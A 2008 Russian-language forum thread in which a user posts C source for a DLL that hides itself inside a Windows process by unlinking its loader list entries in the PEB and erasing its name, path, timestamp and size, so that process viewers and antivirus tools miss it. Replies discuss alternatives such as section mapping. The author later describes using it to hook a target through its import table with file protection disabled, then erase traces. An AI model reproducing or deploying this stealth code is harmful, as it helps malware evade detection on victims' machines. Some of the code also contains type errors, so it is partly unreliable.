Usermode Hide dll metod in 'C' advanced for new family OS Windows

Тема в разделе "LANGS.C", создана пользователем RET, 8 янв 2008.

  1. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Код (Text):
    1. /*Usermode Hide dll metod in 'C' advanced for new family OS Windows
    2. Я поместил весь код в один файл, что бы не париться и не оформлять потом
    3. в виде статьи, время- деньги, если у нас их нет, мы возьмем их у вас (шутка).
    4. Все что я здесь накодил - только для изучения стойкости систем защиты от
    5. вирусов и других вредных для нас программ и т.д. Как вы будете это применять
    6. мне абсолютно все равно, ибо cogitations poenam nemo patitur.
    7. К написанию данного примера, меня подтолкнула неспособность старых методов
    8. скрывать dll из списка загруженных модулей процесса в новых ОС семейства
    9. Windows, а именно фатальные ошибки, возникающие при попытках изменения
    10. периодич. структур , очевидно связанные с изменением
    11. производителями ядра самих этих структур. Поэтому используемые структуры максимально
    12. урезаны для данного применения. Наша цель - произвести изменения системной
    13. памяти родительского процесса, физически находящейся в его адресном пространстве между
    14. памятью выделенной под стек главного потока и начальным адресом проекции файла
    15. unicode.nls с целью уничтожения следов о загрузке нашей dll в память этого процесса,
    16. которые там оставил загрузчик ядра Windows. Привилегии отладчика нам для этого не нужны. Приступим к делу, пока ребята из Microsoft или Agnitum еще чего нибудь не придумали.*/
    17. #pragma once
    18. #define _WIN32_WINNT 0x501
    19. #include <windows.h>
    20. /*Объявляем структуры (некоторые сильно урезанные для наших целей)
    21. We Declare structures (some powerfully pared for our whole)
    22. Назначение структур хорошо понятно из их названий и содержания*/
    23. typedef struct _UNICODE_STRING
    24. { USHORT Length;
    25. USHORT MaximumLength;
    26. PWSTR Buffer;
    27. } UNICODE_STRING, *PUNICODE_STRING;
    28.  
    29. typedef struct _PEB_LDR_DATA
    30. { ULONG Length;
    31. BOOLEAN Initialized;
    32. PVOID SsHandle;
    33. LIST_ENTRY InLoadOrderModuleList;
    34. LIST_ENTRY InMemoryOrderModuleList;
    35. //<-pared
    36. } PEB_LDR_DATA, *PPEB_LDR_DATA;
    37.  
    38. typedef struct _LDR_MODULE
    39. { LIST_ENTRY InLoadOrderModuleList;
    40. LIST_ENTRY InMemoryOrderModuleList;
    41. LIST_ENTRY InInitializationOrderModuleList;
    42. PVOID BaseAddress;
    43. PVOID EntryPoint;
    44. ULONG SizeOfImage;
    45. UNICODE_STRING FullDllName;
    46. UNICODE_STRING BaseDllName;
    47. ULONG Flags;
    48. SHORT LoadCount;
    49. SHORT TlsIndex;
    50. LIST_ENTRY HashTableEntry;
    51. ULONG TimeDateStamp;
    52. } LDR_MODULE, *PLDR_MODULE;
    53.  
    54. typedef struct _PEB
    55. { BOOLEAN InheritedAddressSpace;
    56. BOOLEAN ReadImageFileExecOptions;
    57. BOOLEAN BeingDebugged;
    58. BOOLEAN Spare;
    59. HANDLE Mutant;
    60. PVOID ImageBaseAddress;
    61. PPEB_LDR_DATA LoaderData;
    62. //<-pared
    63. }PEB,*PPEB;
    64.  
    65. typedef struct _CLIENT_ID
    66. { HANDLE UniqueProcess;
    67. HANDLE UniqueThread;
    68. } CLIENT_ID, *PCLIENT_ID;
    69.  
    70. typedef struct _TEB
    71. { NT_TIB Tib;
    72. PVOID EnvironmentPointer;
    73. CLIENT_ID Cid;
    74. PVOID ActiveRpcInfo;
    75. PVOID ThreadLocalStoragePointer;
    76. PPEB Peb;
    77. //<-pared
    78. }PTEB;
    79. /*Прототип функции получения указателя на TEB из ntdll
    80. Function of reception of pointer on TEB from ntdll*/
    81. typedef PTEB (NTAPI* GetCurrentNTTeb)(void);
    82.  
    83. //Сама наша функция
    84. void DllHide(HANDLE hDLL)
    85. {
    86. PTEB TEB1;
    87. PEB* PEB1;
    88. LIST_ENTRY LIST_ENTRY1;
    89. PEB_LDR_DATA* PEB_LDR_DATA1;
    90. LDR_MODULE* LDR_MODULE1;
    91. /*Получаем указатель на PEB, это можно сделать 3-я методами
    92. Метод 1(самый простой) :
    93. __asm
    94. {
    95. mov eax, fs:[30h]
    96. mov PEB1, eax
    97. }
    98. Метод 2:
    99. __asm
    100. {
    101. mov eax, fs:[18h]
    102. mov TEB1, eax
    103. }
    104. PEB1=TEB1.Peb;*/
    105. //Метод 3 (стандартными средствами ядра=>,более-менее базонезависимый):
    106. GetCurrentNTTeb NtGetTEB = NULL;
    107. NtGetTEB = (GetCurrentNTTeb)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtCurrentTeb");
    108. TEB1=NtGetTEB();
    109. PEB1=TEB1.Peb;
    110. //Получаем указатель на структуру, оставленную загрузчиком ядра
    111. PEB_LDR_DATA1=PEB1->LoaderData;
    112. /*Получаем указатель на первый список загруженных модулей
    113. он всегда описывает ntdll.dll*/
    114. LIST_ENTRY1=PEB_LDR_DATA1->InLoadOrderModuleList;
    115. /*Перечисляем списки, пока LDR_MODULE1->BaseAddress
    116. не совпадет с адресом загрузки нашей dll (здесь можно ускорить
    117. и так быстрый процесс, но это оставлю вам)*/
    118. do{ LIST_ENTRY1=*LIST_ENTRY1.Flink;
    119. LDR_MODULE1=(_LDR_MODULE *)LIST_ENTRY1.Flink;
    120. }while(LDR_MODULE1->BaseAddress!=hDLL);
    121. /*Подчищаем структуры, связанные с нашей dll
    122. здесь код немного растянут для понимаемости*/
    123. MessageBox(NULL,"Вхождение найдено, после \n нажатия OK dll скроется",
    124. "HideDll",MB_OK);
    125. LIST_ENTRY* LIST_ENTRY2;
    126. LIST_ENTRY* LIST_ENTRY3;
    127. LIST_ENTRY3=LIST_ENTRY1.Flink;
    128. LIST_ENTRY2=LIST_ENTRY1.Blink;
    129. *LIST_ENTRY2->Flink=*LIST_ENTRY3;
    130. /*Дальше, начиная с XP SP2 не работает:
    131. LIST_ENTRY3=LIST_ENTRY1.Blink;
    132. LIST_ENTRY2=LIST_ENTRY1.Flink;
    133. *LIST_ENTRY2->Blink=*LIST_ENTRY3;
    134. и не надо*/
    135. //Продолжаем
    136. LIST_ENTRY1=LDR_MODULE1->InMemoryOrderModuleList;
    137. LIST_ENTRY3=LIST_ENTRY1.Flink;
    138. LIST_ENTRY2=LIST_ENTRY1.Blink;
    139. *LIST_ENTRY2->Flink=*LIST_ENTRY3;
    140. /*Дальше, начиная с XP SP2 не работает:
    141. LIST_ENTRY3=LIST_ENTRY1.Blink;
    142. LIST_ENTRY2=LIST_ENTRY1.Flink;
    143. *LIST_ENTRY2->Blink=*LIST_ENTRY3;
    144. и не надо*/
    145. /*Практически все, нас уже не видно в ProcessExplorer,Task Explorer,
    146. даже в Microsoft ListDlls, а вот в каком то-там Starter видно!!!
    147. А все это потому, что мы удалили вхождения, а вот дескриптор оставили*/
    148. //Затираем дескриптор (для наглядности через ZeroMemory)
    149. RtlZeroMemory(&LDR_MODULE1->BaseAddress,sizeof(DWORD));
    150. /*Практически все, нас нет, но мы работаем, и думая о будущем наших
    151. фаеров и антивирусов все же подчистим за собой мусор, а именно
    152. удалим от греха всю информацию о нашей dll из контекста*/
    153. //Чистим путь к нашей dll
    154. RtlZeroMemory(&LDR_MODULE1->FullDllName,sizeof(UNICODE_STRING));
    155. //Чистим имя нашей dll
    156. RtlZeroMemory(&LDR_MODULE1->BaseDllName,sizeof(UNICODE_STRING));
    157. //Чистим дату создания нашей dll
    158. RtlZeroMemory(&LDR_MODULE1->TimeDateStamp,sizeof(DWORD));
    159. //Чистим размер отображения нашей dll
    160. RtlZeroMemory(&LDR_MODULE1->SizeOfImage,sizeof(DWORD));
    161. /*Если захотите можете замаскировать свою dll под какую-либо другую,
    162. заменив в LDR_MODULE вышеперечисленное чем-то своим*/
    163. }
    164.  
    165. //Только для примера//For examples
    166. DWORD WINAPI BEEPER(LPVOID hDll)
    167. {
    168. //пример вызова
    169. DllHide(hDll);
    170. while(true){Sleep(1000); Beep(8000,50);}
    171. return 0;
    172. }
    173.  
    174. BOOL APIENTRY DllMain( HANDLE hModule,
    175. DWORD ul_reason_for_call,
    176. LPVOID lpReserved)
    177. {
    178. switch (ul_reason_for_call)
    179. {
    180. case DLL_PROCESS_ATTACH:
    181. /*Для примера таймер с бипером ч/з системный динамик
    182. правда отсюда создавать потоки не желательно
    183. Поток берется в качестве примера не случайно:
    184. Если посмотреть в списке потоков в том же Process Explorer,
    185. то мы увидим, что наш поток принадлежит якобы
    186. вовсе не нам а kernel32.dllт.к. указателя на дескриптор нашей dll
    187. в системной таблице контекста нет*/
    188. CreateThread(NULL,0,BEEPER,(LPVOID)hModule,0,NULL); //For examples
    189. break;
    190. }
    191. if(hModule!=0) return true;
    192. else return false;
    193. }
    /*History source:
    -Tomasz Nowak (http://undocumented.ntinternals.net);
    -Sven B. Schreiber (sbs@orgon.com);
    -MS-Rem (http://wasm.ru/print.php?article=fwb*/
    // RET © 2008
     
  2. W4FhLF

    W4FhLF New Member

    Публикаций:
    0
    Регистрация:
    3 дек 2006
    Сообщения:
    1.050
    Ну и к чем здесь этот баян?
     
  3. asmfan

    asmfan New Member

    Публикаций:
    0
    Регистрация:
    10 июл 2006
    Сообщения:
    1.004
    Адрес:
    Abaddon
    там вообще-то 3 списка (только вот запамятовал элементы их дублированы или одни и те же... влом отлачик юзать)
    что именно?
     
  4. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Здесь все работает и под SP2 . Просто рабочим кодом на Сях поделился. Может у кого на висте есть возможность проверить.
     
  5. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Привет тебе RET...
    Загружаешь через CreateRemoteThread -> обломайся, фигня.
    Сам понимаешь что написал ?
     
  6. asmfan

    asmfan New Member

    Публикаций:
    0
    Регистрация:
    10 июл 2006
    Сообщения:
    1.004
    Адрес:
    Abaddon
    Цопирайт убери, если коменты не твои
     
  7. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Где сдесь shell ?
     
  8. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Это только для примера. Причем RemoteThread? Не обломался. Комменты мои.
    Цель: если есть у кого возможность все это проверить на свежей висте, просьба отписаться. Всё.
     
  9. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Прмитивная херня какая-то.
     
  10. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Изобретаешь велосипед ? Работа с этими списками - нормальная операция загрузчика, можно попроще - LdrUnloadLibrary().
     
  11. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    А подробнее?
     
  12. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Что подробнее ?
     
  13. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Что можно проще?
     
  14. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    Проще и надёжнее - мэппинг секции(SectionObject) в чужой процесс. Тогда вообще эти списки непричём.
     
  15. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Здесь только "родной" процесс куда мы прилеплены ч/з импорт. Просто была одна задача и этот код с ней надёжно справился, хотелось бы узнать справится он на свежей висте или нет.
     
  16. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    А в своём зачем скрывать ?
     
  17. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Причин может быть много=) Тем более если он не совсем раньше был "своим".
    Задача была примерно такой - прицепиться с отключением WFP к цели ч/з таблицу импорта, дождаться чего нужно (день-два), сделать чего надо и удалить себя нафиг из импорта.